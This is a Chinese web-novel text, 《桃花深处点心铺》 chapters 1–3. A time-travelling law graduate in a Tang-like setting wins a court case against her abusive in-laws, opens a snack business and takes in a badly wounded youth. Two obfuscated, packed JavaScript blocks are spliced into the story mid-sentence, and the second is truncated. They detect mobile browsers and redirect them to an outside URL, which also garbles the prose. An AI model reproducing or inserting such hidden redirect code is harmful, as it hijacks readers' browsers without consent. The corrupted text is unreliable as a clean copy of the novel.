《桃花深处点心铺》 1. 对簿公堂 “下作的丧门星!给自家爷们守灵还敢偷懒!看我今日不打掉你一层皮!” 裴清梧懵懵懂懂地醒来,还未反应过来发生了何事,兜头便挨了两巴掌,登时两颊一阵火辣辣地痛,高高肿起,让还有些迷糊的她,一下子彻底清醒过来。 入目,似乎是一间古代的灵堂,白色的招魂幡随着风飘动,挽联长长坠地,正中停着一口薄木棺材,浓郁的檀香味一个劲往裴清梧鼻子里钻。 “小丧门星,你哑巴了?” 说话的是个衣着素净的中年妇女,满面横肉,一脸凶相,见裴清梧还在发愣,抬手又要打。 这一回,裴清梧虽未弄明白发生了何事,但也不杵在那里挨打了,偏头一躲,那妇人的巴掌落了空,一双眼瞪得滴溜圆,怒道:“好哇,越来越没有规矩了,今日我若不打死你,便枉做你家姑了。” “且慢!” 眼见她要动真格,裴清梧忙喊了一嗓子:“这是哪里?!你凭什么动手打人?信不信我报警啊。” 一边说,一边去摸兜里的手机。 却什么都没摸到,衣服上根本没有兜,反而是粗糙得扎人的麻布料子,裴清梧僵硬地往下看去,白裙上覆着层黄色的麻,显然是丧服模样。 哎?这是给她干哪儿来了? 她的确是在过马路的时候,被一个探头杀的司机创飞了出去,可她不应该在医院接受抢救吗?为什么在这样一个古色古香的灵堂,还要挨打?手机都找不到了。 那妇人闻言,冷笑道:“你这小蹄子最刁钻,还敢装疯卖傻,正好,我最会治疯病,打一顿扔到外头湖里,什么都好了。” 说着,她就要来扯裴清梧。 许是做惯了农活,这妇人手劲极大,裴清梧一时竟挣脱不了,眼见毒打要落到自己身上,外头传来一声呼唤:“阿娘。” “哎,找阿娘何事。”妇人登时变了脸,笑吟吟地应答外头。 “阿娘您出来,儿子有话要说。” “好好好,阿娘这就来。”妇人理了理衣裳,转身欲出去,又回头瞪了裴清梧一眼:“小蹄子,老实跪着,一会儿再来收拾你。” 说罢便离去,留裴清梧一人傻在原地。 陌生的记忆如潮水一般,在她脑中奔涌,即便撞得隐隐作痛,她还是努力整理着所有思绪。 在现代,她是某政法大学的硕士研究生,很小的时候就父母离异,母亲一个人带她艰难生活,靠一间小小的点心店供她读书,出事也是因为急着回家给母亲帮忙,没留意到路上的“鬼探头”。 而这具身子同样姓裴,名三娘,秦州人士,自幼父母双亡,由叔父抚养长到如今十六岁,由叔父做主,许配给同乡孙家大郎孙简。 孙家薄有田产,日子相对一般人家来讲殷实一些,乍一看去处极好,但这孙简自幼体弱多病,娶亲也是因为冲喜,心疼自己女儿的人自然不愿意,唯裴叔父收了两袋白面,就把侄女嫁了过去。 谁承想洞房花烛夜,孙简一见团扇之下,是个花容月貌的美娇娘,又惊又喜,心绪荡漾间,竟然一口气没提上来,晕死了过去,不治身亡,喜事当场变丧事。 孙简娘刘氏哭得晕了过去,满腔火气,尽数撒在了新妇身上,守灵这几日,对她是又打又骂,只给稀得能照见人影的薄粥,一日还只一顿。 想来,是原身因为这些磋磨香消玉损,才让她裴清梧穿了过来。 理清了来龙去脉,裴清梧重重地叹了口气:“这是什么日子啊……” 若是现代,丈夫没了就没了,一走了之最多受点指谪,被说几句也掉不了肉,可古代,情况就复杂了,若是那种深受程朱理学影响的时代,自己得为这薄棺里的死鬼守一辈子。 刻薄的婆母,不安好心的叔父,无依无靠的自己……还不如现在就一头碰死在这里,说不定还会回到现代。 思绪万千间,裴清梧正准备试试,刘氏却又回来了,身后还跟着个二十来岁的男子,精瘦如猴,应当是孙家二郎,孙简的弟弟孙成。 他甫一进来,那眼神便黏着裴清梧,令她背上一阵恶寒,险些当场呕出来。 “不是叫你好好跪着吗?呆在这里作甚,果真是没有爷娘教导,不知规矩。”刘氏见她立在棺旁,登时蹙眉训斥。 “阿娘,你先跟大嫂说正事。”孙成忙阻拦道。 一听刘氏的话语,裴清梧就窝了火气,又听孙成这么说,心知就没好事。 刘氏清了清嗓子:“老大媳妇,你本就是嫁于我家为新妇的,如今大郎没了,可我家还有二郎,虽说你命不好,二郎也喜欢你,他终究要考取功名,你给他做个妾,也不算辱没了你。” “是啊,大嫂,你便跟了我,我会对你好的。”孙成立刻道,眼神下流地自裴清梧身上滑过。 裴清梧只觉是羞辱,火气越发上涌,她攥紧了拳头,高声道:“我不愿意!” “不愿意?你莫不是以为这些事情是由着你的?你既卖给我们孙家了,生是孙家的人,死是孙家的鬼,让你做妾都是抬举了你,再不识好歹,便让你给我家二郎做个通房丫头。”刘氏三角眼一立,仿佛听见了天大的笑话般。 孙成在一旁搓着手,得意地附和:“是啊大嫂,莫要不识抬举,跟了我,保你衣食无忧,强过守寡。” 裴清梧气归气,脑子却转得极快。 从这些人的称呼、孙成身上的圆领袍,以及原身残存的记忆来看,这个朝代很像唐朝,那么,事情就好办了。 她深吸了一口气,清泠泠的目光扫过这对母子:“家姑此言差矣!我今日便与家姑叔叔辩一辩这国朝的律令!” “其一,《户婚律》载,‘诸夫丧服除,而欲守志,非女之祖父母、父母而强嫁之者,徒一年,期亲嫁者,减二等,杖九十’,如今夫丧未除,孝期未满,家姑却强逼我转嫁二郎,此乃触犯律法之举。” “其二,‘妇人夫丧服除,誓心守志,唯祖父母、父母得夺而嫁之。’我父母早亡,叔父也无权再过问我归宿,是以待我守孝期满,是守是嫁,全凭我心意。” “其三,‘若婢有子及经放为良者,听为妾。’我乃良家子,明媒正娶为□□室娘子,岂有强夺嫡长宗妇为妾、甚至为婢之理?此乃悖逆人伦,蔑视礼法!若传扬出去,叔叔还想考取功名?怕是连童生试的门槛都摸不着!官府第一个便要革了他的应试资格!” 这一番话,引经据典,条理分明,竟将泼辣蛮横的刘氏震得一时语塞,孙成脸上的得意也僵住了,目露惊惶。 刘氏愣了半晌,猛地回过神来,恼羞成怒,撒起泼来:“放屁!什么律法?吓唬谁呢!清官难断家务事!老娘管教自家媳妇儿,天王老子也管不着!官府吃饱了撑的管我家事?” 说着,她挽起袖子,又要扑上来揪打:“看老娘今日不撕了你这张刁嘴!” 裴清梧一直紧盯着刘氏的动作,见她果然恼羞成怒要动手,心知机会来了。 就在刘氏肥硕身躯扑过来的刹那,裴清梧如同灵巧的狸猫,猛地侧身一让,刘氏收势不及,一个趔趄差点摔倒,趁机拔腿就跑,朝着灵堂敞开的大门冲了出去。 “救命啊!孙家逼死新寡!强抢宗妇为妾!触犯国法!草菅人命啊——!” 凄厉的哭喊声瞬间划破了秦州城内坊间的午后宁静。 裴清梧冲出孙家大门,泪如雨下,发髻散乱,脸上红肿的掌印清晰可见,一身孝服更衬得她楚楚可怜,她扑倒在人来人往的坊街上,对着惊愕驻足的邻里百姓、商贩行人,捶胸顿足,声泪俱下:“各位高邻!各位乡亲父老!天理何在啊!小女子裴三娘,新寡在身,夫尸骨未寒!家姑刘氏便强逼奴家转嫁小叔为妾!奴家不肯,便遭毒打辱骂,饿饭数日!今日更欲将奴家强抢为婢!小女子愿以死明志,也不受此奇耻大辱,违逆国法啊——!” 说罢,她掩面自泣。 一时间,坊街上议论纷纷,指指点点。 孙家之事邻里早有风闻,如今见新妇如此凄惨情状,又口口声声控诉国法被犯,同情与义愤,迅速在人群中蔓延。 “岂有此理!竟有这等事!” “逼新寡嫂子嫁小叔?忒不要脸!” “快去报官!找里正!” 刘氏和孙成气喘吁吁地追出来时,见此情景,更是气急败坏,老虔婆当即上前,指着裴清梧破口大骂:“小贱人!休要在此胡言乱语,污我孙家门楣!快跟老娘回去!” 说着就要上前拉扯。 裴清梧自然不肯,挣扎着哭诉:“我不要!没有丈夫孝期未除,就逼着新妇嫁小叔子的道理!我虽无爷娘教导,却也做不出这等丢人现眼的事!” 听是凌逼孤女,街坊间议论声更大,刘氏自觉面上无光,拉扯得更厉害。 就在混乱之际,只听人群中传来一声威严的断喝:“住手!” 众人循声望去,只见一须发皆白、身着整洁细葛深衣的老者拄着鸠杖,在仆从的搀扶下走出人群,他面容清癯,目光炯炯有神,自有一股不怒而威的气度。 “光天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230889|181774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化日,朗朗乾坤!岂容尔等恃强凌弱,悖礼枉法!”老者声音洪亮,直视刘氏母子:“老夫乃前州衙司户佐史,致仕归田于此,这位小娘子所言律法,句句属实!事关国法,岂是一句家务事便能搪塞过去?” 说罢,他转向泪眼婆娑的裴清梧,眼中带着赞许和怜悯:“小娘子莫怕,你既熟读律令,知晓以法护身,甚好,老夫为你作保,即刻前往州衙鸣冤!官府自有公断!” 老者的话语如同定海神针,围观人群纷纷响应,嚷嚷着告官去。 裴清梧心中大定,深深向老者拜了下去:“多谢老明府仗义执言!小女子愿随老明府往州衙陈情!以正国法,以明冤屈!” 秦州州州衙门前,登闻鼓声震天,守门胥吏见张公气度不凡,又有众多义愤填膺的街坊簇拥,不敢怠慢,即刻通禀。 少顷,州衙正堂大门洞开,秦州赵使君高坐堂上,面沉似水,衙役分列两旁,水火棍杵地,肃杀之气顿生。 刘氏孙成母子被衙役带上堂来,初时还兀自强横,待见了森严公堂,气焰先自矮了三分。 “堂下何人?所告何事?击鼓鸣冤者,若有虚言,反坐其罪!”赵使君声音威严,目光如炬扫过堂下。 张公深施一礼:“使君容禀!老朽张俭,此乃苦主裴氏三娘,新寡之妇,其所告者,为夫家孙刘氏、孙成母子二犯,街坊邻里皆为见证,恳请使君明察秋毫,为苦主伸张正义,以正国法家规!” 裴清梧亦盈盈下拜,泣声陈情:“青天使君在上!民妇裴三娘,状告家姑刘氏、小叔孙成凌逼孤寡,触犯国法,夫亡七日,尸骨未寒,孝服在身,舅姑刘氏便威逼民妇转嫁小叔为妾!民妇据理力争,彼等非但不听,反诬民妇装疯卖傻,毒打羞辱,数日仅以稀粥吊命,今日更欲行强抢!若非民妇拼死逃出,当街呼救,得蒙张公及众高邻仗义援手,此刻恐已遭不测!求使君为民妇做主!” 言毕,她抬起头,脸上掌痕红肿未消,孝服单薄,身形摇摇欲坠,凄楚之状,令人恻然。 “一派胡言!刁妇信口雌黄!”刘氏按捺不住,扑通跪下,手指裴清梧,唾沫横飞:“使君老爷!休听这小贱人血口喷人!她命硬克死我儿,老身念她是新妇,留她在孙家守灵,已是天大恩典!她不思感恩,守灵懈怠,老身身为舅姑,教训儿媳,天经地义!何来毒打虐待?至于逼嫁二郎……” 她眼珠子一转:“那是二郎见她年轻守寡可怜,愿意收留她做个屋里人,是她自个儿不识抬举,反诬我等逼嫁!分明是她守不住,起了外心,在此颠倒黑白!” 孙成也慌忙磕头:“使君明鉴!学生孙成,确是一片好心,是见大嫂孤苦,学生不忍她流落,才提了纳她为妾,绝非逼迫!是她误解了学生好意……” 说话间言语闪烁,眼神飘忽,显然底气不足。 赵使君眉头紧锁,看向张公:“张老佐史,依你之见?” 张公拱手,朗声道:“刘氏与孙成之行径,视国法如无物,视礼教如敝履!若不严惩,何以正纲常,儆效尤!” 说着,早有准备的几位街坊被带上堂,七嘴八舌,将刘氏平日与今日行径,裴娘子如何反抗与哭诉,一一细述。 “人证物证俱在,尔等还有何话说?”赵使君惊堂木一拍,声震屋瓦。 母子二人面如土色,浑身筛糠,刘氏犹自嘴硬:“邻里嚼舌根罢了……这……这都是家务事……” “住口!”赵使君厉声打断:“无知蠢妇!国法昭昭,岂容家务事三字搪塞?尔等行径已是触犯刑律!恃强凌弱,欺凌孤寡,践踏纲常,蔑视律法,实乃刁顽之极!” 沉吟片刻后,他心中已有决断,着令当堂重笞刘氏母子二十,以儆效尤。 闻言,衙役上前按住刘氏母子,水火棍落下,杀猪般的嚎叫顿时响彻公堂。 行刑毕,两人瘫软在地,面无人色。 赵使君继续宣判:“裴三娘,本府悯尔孤弱,更嘉尔通晓律令,能以法护身,志节可嘉!特恩准尔携自身嫁妆,脱离孙氏宗族,自立女户!” 裴清梧心中狂喜,面上却强自镇定,深深叩首:“民妇裴三娘,叩谢使君天恩!使君青天!” 赵使君复又看向面如死灰的刘氏母子,令他们将裴清梧的嫁妆尽数返还,又令二人不得侵扰裴清梧。 当即就在秦州官衙,裴清梧立了女户,用的便是自己现代的名字,昭示着她与那个受尽欺凌的裴三娘,再无任何干系。 她的嫁妆也尽数返还,虽廖廖无几,却也好过身无分文。 2. 捡到男人 走出威严的州衙大门,午后的阳光暖洋洋地洒在身上。 “多谢张公再造之恩。”裴清梧学着电视剧里万福礼的模样,朝张公一拜,感激之情溢于言表。 张公捋须微笑,眼中满是赞赏:“小娘子不必多礼,你能于绝境中寻得律法为刃,护己周全,老朽不过是顺天理,助公道罢了,前路虽艰,然自立女户,终得自由之身,望你好自为之,善用此身才智。” “张公教诲,三娘铭记于心。”裴清梧郑重应下,她捧着那微薄的嫁妆,在众人目送下,一步一步,坚定地走向坊门。 刘氏母子怨毒的目光还死死钉在她身上,不过,一切都与她无关了。 裴清梧的嫁妆,换成钱财,拢共折合三贯钱,也就是三千文,先换掉了身上的丧服,而后找了家客栈,暂且住下。 张公说得对,前路艰险,她须好好作打算。 法硕的身份,在这里应当使不上,她通晓的,更多是21世纪的律法,何况衙门里那么师爷,想来赵使君也不要一个弱女子。 而她一个文科生,也不会做什么香皂玻璃,更不会提取精盐,至于什么去青楼当花魁,她还真没那个胆子…… 愁苦之际,房门被敲响。 来的人是客栈的小二,手里端着一碟精巧的点心,笑吟吟道:“裴娘子,我家老板送了些点心来,给裴娘子尝尝,客栈简陋,娘子莫要嫌弃。” 碟子里,静静躺着几枚小巧玲珑的点心,宛如凝脂白玉,细腻温润,形若微绽的花苞,隐约可见内里柔嫩的馅料,表面还用精巧的模具压出了极细密繁复的花纹,花瓣脉络清晰,宛如晨露凝结其上,在午后的光线里泛着柔和的光晕。 玉露团! 裴清梧心中瞬间跳出这个名字。 因为母亲开点心店的缘故,需要开发新口味,便经常翻阅古籍,从那些工艺繁复的古典点心中获取灵感,她在母亲身边跟着,自然也知道了不少。 这玉露团传说中是宫廷御膳的珍品,她曾在书中见过图片,也尝试过复原,没想到在这里,竟能亲眼见到如此标准的一碟玉露团。 她忍不住凑近细看,连日来的愁苦,仿佛都被这碟精致的点心驱散了几分。 一个念头如闪电般击中了她,瞬间照亮了前路的迷雾。 她会这个啊!从小时候给母亲帮厨开始,她算浸淫烘焙多年,对各种点心的配方、火候、造型有着深入的研究和实践,从欧式面包到苏式月饼,从法式甜点到广式茶点,她都曾痴迷钻研过。 眼前这玉露团虽古雅,其基本原理也不过米浆蒸制、模印成型、甜馅调和,不正与后世诸多糕点一脉相承吗?只不过用料更天然,工艺更古朴罢了,在现代积累的经验和跨时空的见识,正好可以在这个领域施展。 “这、这是玉露团?”裴清梧目光灼灼地看向小二:“做得太精巧了。” 小二见客人识货且喜欢,笑容更盛:“娘子好眼力,正是咱东家铺子里最拿手的玉露团,用的是上好的糯米磨浆,蒸出来淋上槐花蜜浆,最是清甜不腻口。” “怎会嫌弃!实在太过精致美味了。”裴清梧由衷赞叹,心中那个念头越发清晰坚定。 开个点心铺,成本不会太高,而且大可以效仿现代,房子一分为二,后院作日常起居之处,每日做好些点心,在前院售卖,能节省不少开支。 说干就干,裴清梧简单收拾了一下,便出门找牙行的人帮忙。 自古以来,中间商都是要赚差价的,但没办法,她初来乍到,压根就不太能明白个中关节。 秦州乃是丝路重镇,陇右商道咽喉,商贾往来,物价并不便宜,哪怕是租,花费都不少,在牙行的帮助下,裴清梧在城南安业坊,寻到了一个临街的小院子。 说是院子,其实就只有三间房子,陈设简陋,主体是砖灰结构,马上要入冬,这样的房子,住着便不算难捱。 房租是三百文一个月,裴清梧一口气缴纳了半年的租子。 不论怎样,先把冬日度过去再说。 安业坊乃商业区,房租不便宜,若是往永宁坊这样的居民区去,价格会再低一些,可那里生意便不好做了;另有大市坊,那里胡商聚集,房租较低一些,牙行的人也给裴清梧推荐过,但被她一口回绝。 无他,大市坊西南曲巷,乃是青楼赌坊之地,奸近杀,赌近盗,自古这些地方就是是非之地,裴清梧独身一个小娘子,哪敢往这种地方去。 钱可以挣,命没了,那可一切都完了。 交完租子,还剩下九百余文,裴清梧顾不上用饭,脱了鞋坐在床榻之上,取了一页桑纸,细细规划。 古代歧视商户,可做什么不是活着,只要能赚到钱安身立命,一切都好说。 做餐饮业,创意是最重要的,秦州并不缺卖点心果子的铺子,人家的师傅浸淫糖案许久,早已炉火纯青,她才不要跟人家硬碰硬,不如另辟蹊径,做一些这个时代没有的东西。 那,要做什么呢? 正苦恼间,听得院门被轻轻叩响,裴清梧起身出去,将门开了一条小缝,隔着望去,原是一个挑着担子的老翁,满头银发,身形佝偻,见她开门,面上挤出一个笑容:“小娘子,要买些饧糖吃么?自家做的,可甜了。” 说着,老翁掀开担子上盖着的白布,露出下边的糖块来,晶莹剔透的,犹如上好的琥珀。 饧糖,应当就是麦芽糖了,唐时虽已从印度引入蔗糖技术,但因麦芽糖价廉易制,仍是民间主流,一直到上世纪七八十年代,都是嗜甜星人的心头好。 小时候,外婆就会熬麦芽糖,每每熬糖,都是满屋子的甜香,出锅之后,母亲会教她拉糖,刚开始笨手笨脚的,扯断好几根。 尘封的记忆瞬间被唤醒,裴清梧灵光一现,忙问道:“阿翁,你这些饧糖全卖给我,要多少钱?” 老翁一愣,似乎是没想到这一出,裴清梧又追问了一遍,方才说:“小本生意,小娘子若要,给八十文就好。” 掐指算了算,裴清梧爽快道:“好。” 担子里的麦芽糖被老翁尽数摆在了案头,裴清梧数了钱递过去,又掏了两枚铜板给他:“有劳阿翁,这些,便请阿翁喝口茶。” 比起古装剧里动不动拿金子银子打赏的高门贵女,裴清梧是有些寒酸了,可于老翁而言,今日不仅东西全卖出去了,能早些归家,那两枚铜板还可换些零嘴,哄年幼的孙孙开心,自然是连声道谢,感激不尽。 盯着这些麦芽糖,裴清梧想好了自己要做什么。 龙须酥,明代宫廷点心,这个时代肯定没有,且原料简单易得,不过是熬化了的麦芽糖和炒熟的糯米粉,且千丝万缕,洁白如雪,入口即化,是个好看又好吃的东西。 说干就干,裴清梧当即出门,将所需物品一一备齐。 袖中余钱叮当作响,是她孤注一掷的本钱。 当夜,一盏孤灯如豆,摇曳在陋室土墙之上。 裴清梧洗净陶盆,将麦芽糖细细敲碎,倾入小釜,就着灶下微火耐心熬煮,待糖浆渐稠,气泡翻滚如金粟,甜香四溢时,觑准火候,将滚烫糖浆猛地倾入盛满熟麦粉的宽沿陶盆中。 十指翻飞如蝶,汗水浸湿了鬓角,糖团在熟粉中反复揉擀、拉扯、叠覆……麦粉如雪纷扬,糖浆竟真被她抽作万缕银丝,再将那炒香的胡麻碎屑均匀撒入糖丝之中,以桑皮纸小心裹卷,两端轻捻封口,一枚枚形若雪茧、银丝毕现的“龙须酥”便静静卧于案头。 整整三百枚,宛如巧手织就的琼苞玉蕊。 她又单拿了几枚出来,切成小块,用荷叶托着,作免费试吃品,人对新东西总是有顾虑的,且不要钱的喧头,无论哪朝哪代,都极吸引人。 做完这一切后,裴清梧沉沉睡去。 五更鼓歇,坊门初开,她担起两只竹筐,步履轻捷地汇入安业坊西南隅的露水市。 此地乃清晨草市,贩夫走卒云集,她寻了块略平整的青条石,卸下担子,将竹筐并排支开,然后取十余枚龙须酥,以削尖的细竹签稳稳插在筐沿,宛如一丛晶莹剔透的玉树琼枝。 随即扬声清唤:“奴家新做的点心,甘甜胜崖蜜,酥松赛流云!还请过往郎君娘子,赏脸尝鲜,分文不取!” “分文不取”四字,如同投入静水的石子。 先是三俩行人驻足,好奇张望,而后有一位衣着体面的商人驻足询问:“小娘子这是何物?看着洁白胜雪,好看得紧。” “是我自己做的龙须酥,又叫银丝糖,郎君尝尝吧。”裴清梧带着笑,取了一小块试吃装递给他,那人小心翼翼咬下一口,那千丝万缕的糖丝在口中蓬松化开,胡麻的焦香与蔗糖的甘醇瞬间交融。 瞬间双目圆睁,脱口赞道:“妙哉!此物只应天上有,甘露凝丝化凡尘。” 这一声赞,立时引来更多围观。 眼见人群聚集,目光灼灼,裴清梧心知火候已到,举起三根纤指:“承蒙列位看顾,此龙须酥三文一卷,五文可得双标滋味如何,您尝过便知,” 话音未落,铜钱已叮当入筐,妇人为孩儿解囊,商贾购之以饷同伴,顷刻间便卖去大半。 日影西移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她犹疑着上前,那少年听见动静,微微抬起头来,面白如金纸,额角淌下血痕模糊了眉眼,但那双眸子依旧亮得惊人,像极了濒死独狼被逼至绝境时燃起的最后两点幽绿鬼火。 道上不成文的规矩,路边的男人不能捡,轻则虐身虐心,重则嘎你全族,何况少年这副惨状,明显是被人打的,或是有仇家,或是大户人家的逃奴…… 裴清梧不想惹上麻烦。 可见他渐渐失了力气,不再呼救,头往旁边一歪,出气多进气少的模样,裴清梧实在做不到见死不救。 “算了算了,谁叫姐姐心善……”她认命地叹了口气,而后用尽全身力气,半拖半抱,将那昏迷的少年拖回了自己那方小小的院落。 关紧院门,落了闩,她才敢长长吁出一口气。 顾不上喘口气,便打来清水,剪开那件几乎被血浸透的衣服,布料粘连着皮肉,裴清梧只能用温水一点点濡湿,小心翼翼地剥离。 饶是做足了心理准备,当衣衫褪下,露出少年单薄却伤痕累累的身躯时,她还是倒吸了一口凉气,指尖冰凉。 遍布鞭痕,新旧交织,有些深可见骨,皮肉翻卷处渗出浑浊的脓血,还有大片的青紫淤伤高高肿起,左臂一道狰狞的刀口斜劈而下,皮开肉绽,肩颈处还有烙铁留下的焦黑印记,形状模糊,却散发着皮肉焦糊的恶臭…… 更别说那些密密麻麻的擦伤、掐痕,几乎寻不到一块好皮肉。 裴清梧强压下翻涌的恶心与怜悯,拿起干净的布巾,蘸着清水,开始一点点为他擦拭,动作轻柔得不能再轻柔。 待脸庞的血污尽去,一张惊人秀美的容颜展露在昏黄的油灯光下。 肌肤是失血过多的惨白,却难掩如玉的细腻光泽,眉眼精致如妙手丹青细细勾勒,长长的睫羽在眼下投下一小片阴影,唇色极淡,微微抿着,透着一股不屈的倔强。 若非那身明显属于少年的骨架,乍一看,真会误以为是位绝色佳人。 “这般容貌……莫非……”裴清梧想起关于古代达官贵人的一些事,一股无名怒火混杂着更深的怜惜升腾起来。 顾不得欣赏这惊为天人的美色,裴清梧找出自己包袱里仅有的干净细麻布,又咬牙去灶下取了少许干净的草木灰权作简陋的止血消炎之物,刚将其轻轻敷在少年身上时—— “砰砰砰!砰砰砰!” 院门突然被拍得震天响,粗鲁蛮横,力道之大,仿佛要将那单薄的木门砸碎。 旋即,一个粗嘎的男声带着十足的戾气在门外高喊:“裴家小娘子!开门!你今日卖的那劳什子点心吃坏了人!肚子疼得打滚,快开门给个说法!” “快开门!莫不是做贼心虚,想躲起来不成?”另一个尖利的声音加入了叫嚷。 榻上的少年似乎被这巨大的喧嚣惊扰,浓密的睫羽剧烈颤动了几下,却没能睁开眼,只是发出几声微弱痛苦的呓语。 3. 做我护卫 骤然听到这动静,裴清梧手一抖,草木灰差点撒到地上。 点心吃坏了人?她对自己的手艺和食材来源一清二楚,绝无可能! 门外叫骂声愈发响亮,夹杂着不知真假的呼痛声,和更多看热闹的窃窃私语,显然是引来了街坊围观。 裴清梧强迫自己冷静下来,迅速扯过一块干净的布巾,盖住少年裸露的上身和狰狞的伤口,又将沾满血污的破衣和布巾塞到床榻最里面藏好。 做完这些后,她站起身,理了理自己的衣裙,努力让声音听起来平稳,对着门外扬声道:“门外何人喧哗?讲些道理!奴家的点心清白干净,何曾吃坏了哪位?若要理论,待奴家开了门,你且说个明白。” 门外的喧嚣如沸水般翻腾,裴清梧深吸并未全开门扉,只谨慎地将门栓拉开寸许,露出一道窄缝,身子半掩其后,透过缝隙向外扫视。 只见门外立着一对粗布麻衣的夫妇,男人面色焦黄,人高马大;旁的妇人则坐在一边哭天抢地,拍着大腿连声哀嚎:“天杀的!黑了心肝的贼妇啊!我儿吃了你的点心,如今疼得死去活来,眼看就要坏了性命!你赔我儿命来!” 再一看,地上果然蜷着一个半大少年,约莫十三四岁,双手死死捂着肚子,在地上翻滚叫唤,声音凄惨,引得围观的街坊邻居指指点点,议论纷纷。 裴清梧看着那男人凶神恶煞的模样,眉眼轮廓似有几分眼熟,但此时,实在是想不起来了。 她稳住心神,隔着门缝,声音不高却字字清晰:“这位郎君、娘子,稍安勿躁。” “尔等口口声声言道奴家点心坏了令郎,空口白牙,可有凭据?秦州城百万之众,食奴家点心者不知凡几,何曾听闻有半点差池?” “令郎此刻症状,腹痛难忍,究系何时发作?是食点心后几时几分?所食几何?可有他人同食而安然无恙者?腹痛是绞是胀?可有腹泻、呕吐、发热之状?家中饮食可有其他异常?” 她一连串冷静的追问,瞬间让门外哭骂的妇人噎了一下,连地上翻滚的少年叫唤声都似乎弱了几分。 那汉子显然没料到这看似年轻娇怯的小娘子竟如此伶牙俐齿,句句问到要害,且神态镇定,毫无慌乱,脸色涨得更红,眼神闪烁,恼羞成怒之下,蛮横之气陡生:“好个牙尖嘴利的贱妇!休要东拉西扯!我儿吃了你的毒点心,此刻便要死了!你躲着不见人就是心虚!快开门赔我儿命来!” 他一面咆哮,一面竟不管不顾,抬脚就朝那仅开一线的门缝猛地踹来,蒲扇般的大手也伸进来欲强行扒开门扇,口中兀自不干不净地咒骂:“今日不开门,老子便砸了你这黑店!定叫你吃不了兜着走!” 裴清梧心头一凛,暗叫不好。 这莽汉分明是要借机生事,强行闯入! 她下意识后退一步,正欲呼救或寻求防身之物时,一股带着浓重血腥气的劲风,陡然从裴清梧身后的昏暗处卷出。 颀长的身影踉跄着挤到了门前,挡在了裴清梧身前,正是那重伤的少年郎。 不知何时,他挣扎着从床榻上起身,苍白的脸上布满冷汗,嘴唇毫无血色,显是强忍着剧痛,伤口似被再次撕裂,又渗出血迹,染红了布巾,眼眸如幼兽般的凶悍,死死盯住外头的人。 这倒罢了,他手中还紧握着一柄闪着幽冷寒光的菜刀,刃口磨得雪亮,横在那狭窄的门缝之前,直指欲闯入的男人鼻尖。 一时间,万籁俱寂。 少年喉咙里发出嘶哑低沉的咆哮:“滚!” 那汉子猛地对上这双眼睛,如同被毒蛇盯住,浑身汗毛倒竖,伸出去的手硬生生僵在半空。 “你……你是何人?!”汉子声音都变了调,色厉内荏地吼道,脚下却不由自主地后退一步,连带他那哭嚎的婆娘和地上打滚的少年都吓得噤了声,惊恐地看着门缝里突然出现的煞星。 围观的人群也发出一片惊呼,窃窃私语声浪陡然大了起来,潮水一般铺天盖地,分辨不清。 最惊讶的还是裴清梧,万万没想到这重伤濒死的少年竟能强撑着站起来,更没想到他会以如此激烈的方式护在自己身前。 下意识想扶住他摇摇欲坠的身体,却又不敢轻动,生怕刺激到门外或他本身。 趁着门外夫妇被这突如其来的凶悍震慑得不知所措,裴清梧心念电转,迅速抓住这短暂的气势压制机会,声音陡然拔高:“尔等看见了!私闯民宅,意图行凶,更有讹诈之嫌,我裴清梧行得正坐得直,点心清白,天日可鉴!若尔等真觉小儿有恙,大可去寻坊正,而后让医工验看分明,亦或直赴秦州州衙击鼓鸣冤,自有律法公断。” “然若再敢在此胡搅蛮缠,煽动乡邻,甚至意图破门毁物、伤人害命……”她顿了顿,目光扫过少年手中寒光闪闪的菜刀,带着几分狐假虎威的气势:“《律疏议》载‘无故入人家者,笞四十,主人登时杀者勿论’,尔等白昼行凶,众目睽睽,强闯民宅在先,若再敢逾越雷池半步,今日后果,尔等自负!”① 黄脸汉子脸色煞白,冷汗涔涔而下,他本就是临时起意想来讹一笔钱财,哪曾想撞上如此硬茬?这架势,别说讹钱了,再待下去怕是小命都难保! “疯、疯子!都是疯子!”汉子色厉内荏地吼了一句,再不敢停留,拉起同样吓得腿软的婆娘,在围观人群更加喧哗的议论、指点甚至隐隐的哄笑声中,如丧家之犬般仓惶挤开人群,狼狈遁走。 地上少年见靠山跑了,也赶紧爬起来,灰溜溜地跟着溜之大吉。 只留下门外一群惊魂未定又众议纷纷的街坊。 少年本就是强撑着起身,此时撑不住了,手中的菜刀终于无力地垂下,“当啷”一声掉在地上,同时身体一软,向后栽倒。 裴清梧眼疾手快,急忙张开双臂,勉强接住了他,鲜血再次从布巾下渗出,浸染了裴清梧的衣袖。 她再顾不上门外议论纷纷,咬着牙把这人又拖了回去。 这么个情况,估计简单的草木灰敷一敷是不顶用了,裴清梧也只能排出几枚铜钱,请了位郎中上门。 那郎中显也是没见过这么重的伤,细细把过脉后,略一沉吟,低声道:“娘子可否借一步说话。” 裴清梧知道不好,看了一眼犹双目紧闭的少年后,随着郎中出去。 “小娘子收留这人,恐是惹上了麻烦。”甫一到院子里头,郎中便急切道:“好些伤痕,非刑罚不得致,有些……看着倒像是,花楼的鸨母们惩戒不听话之人的手法。” 裴清梧倒吸一口凉气。 看来她之前隐隐约约的猜测没错,古人在某些方面玩得很开,男女不忌,这少年生的漂亮,难保不会被有心之人盯上,可谁会愿意做那等营生呢。 “郎中只需告诉我,他这一身伤,可能养回来?” “能是能,到底年纪小,底子不差,好生休养几天,是能养回来的,只是……”郎中话未说完,估摸着也是说,医药花费不小,且这人极易惹麻烦。 “都需要什么药,郎中尽管开口吧。” 到底人是她捡到的,她做不到见死不救,且今日若不是有他,自己难保真被那大汉讹上了。 